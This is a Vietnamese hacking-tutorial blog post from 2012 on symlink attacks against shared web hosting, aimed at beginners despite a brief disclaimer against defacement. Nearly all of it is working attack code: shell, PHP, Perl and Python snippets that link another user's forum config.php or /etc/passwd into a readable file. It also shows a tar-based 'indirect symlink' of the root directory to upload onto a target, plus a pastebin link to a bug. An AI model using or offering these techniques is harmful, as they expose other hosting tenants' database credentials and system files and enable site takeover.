Vài lời cho các bạn !

Blog được xây dựng nhằm cung cấp, sưu tầm nguồn hướng dẫn cho các newbie học tập về hacking website, chứ không mang tính chất vẽ đường cho ai đó đi phá hoại(deface) nhằm gây tổn hại cho website hay sever nào đó. Mong you hãy coi đây như là cuốn ebook hay và bổ ích, cần là giở để xem. và hãy tận dụng nó đúng mục đích ! thanks !

Sunday, June 17, 2012

Tư duy Local Nâng cao ( Tạo File symlink )

[+] Tạo symlink qua run command
Khi không thể run command bằng PHP shell ta run command bằng perl , python shell
ln -s /home/user/public_html/forum/includes/config.php 1.txt
[+] Tạo file symlink bằng hàm của PHP
<?php
$target = '/home/user_target/public_html/forum/includes/config.php';
$link = '/home/user/public_html/1.txt';
symlink($target, $link);
?>
[+] Tạo File symlink nhờ perl , python
#!/usr/bin/perl -w
symlink('/etc/passwd','/root/Desktop/sym.txt');

#!/usr/bin/python
print "Content-type: text/html\n\n"
import os
filename = "1.txt"
linkto = "/etc/passwd"
os.symlink(linkto, filename)

[+] Thông qua bug
http://pastebin.com/DghFwrEP

[+] Indirect Symlink
Cơ sở là tạo 1 file symlink ở 1 nơi có thể tạo được rồi nén lại
Upload lên nơi cần symlink rồi giải nén
ln -s / r00t -> Tạo File symlink với thư mục /
tar czvf r00t.tar.gz r00t -> Nén file r00t thành r00t.tar.gz
Giải nén
tar xzf r00t.tar.gz